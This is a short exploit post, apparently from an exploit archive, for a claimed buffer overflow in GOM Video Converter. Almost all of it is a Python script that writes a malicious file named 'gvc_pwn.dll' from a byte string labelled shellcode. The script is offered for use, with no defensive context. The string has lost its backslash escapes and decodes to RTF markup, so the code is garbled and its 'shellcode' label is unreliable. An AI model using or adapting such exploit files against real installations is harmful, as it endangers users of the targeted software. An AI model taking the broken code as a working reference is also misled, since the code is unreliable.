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GOM Video Converter Buffer Overflow

Posted on 07 November 2012

#!/usr/bin/python
#=============================================================#
# GOM Video Converter .dll Buffer Overflow Exploit
#
# Downloaded from: http://converter.gomlab.com/eng/download/
#
# 11/06/2012
#
# Ucha Gobejishvili
#
# Tested Platform: Windows 7
#=============================================================#
import os

evilfile = "gvc_pwn.dll"
shellcode = ("x7bx5cx72x74x46x31x23x7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx73x68x70x7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax5cx73x68x70x69x6ex73x74x7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx73x70x7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax7dx7bx5cx2ax5cx67x65x6ex65x72x61x74x6fx72x20x4dx73x66x74x65x64x69x74x20x35x2ex34x31x2ex31x35x2ex31x35x30x37x3bx7dx0bx69x65x77x6bx69x6ex64x34x5cx75x63x31x5cx70x61x72x64x7bx5cx70x6ex74x65x78x74x0cx32x27x42x37x09x61x62x7dx7bx5cx2ax5cx70x6ex5cx70x6ex6cx76x6cx62x6cx74x5cx70x6ex66x32x5cx70x6ex69x6ex64x65x6ex74x30x7bx5cx70x6ex74x78x74x62x27x42x37x7dx7dx0cx69x2dx37x32x30x5cx6cx69x37x32x30x5cx71x63x5cx63x66x31x5cx75x6cx08x5cx69x0cx30x0cx73x32x30x20x35x2fx32x38x2fx32x30x31x31x5cx63x66x30x5cx75x6cx6ex6fx6ex65x08x30x5cx69x30x5cx70x61x72x5cx63x66x31x5cx75x6cx08x5cx69x0cx31x0cx73x34x30x7bx5cx70x6ex74x65x78x74x0cx32x27x42x37x09x61x62x7dx48x49x20x2ex2ex2ex2ex2ex2ex2ex2ex5cx63x66x30x5cx75x6cx6ex6fx6ex65x08x30x5cx69x30x0cx30x0cx73x32x30x5cx70x61x72x7bx5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax5cx2ax7d")
crashy = open(evilfile,"w")
crashy.write(shellcode)
crashy.close()

 

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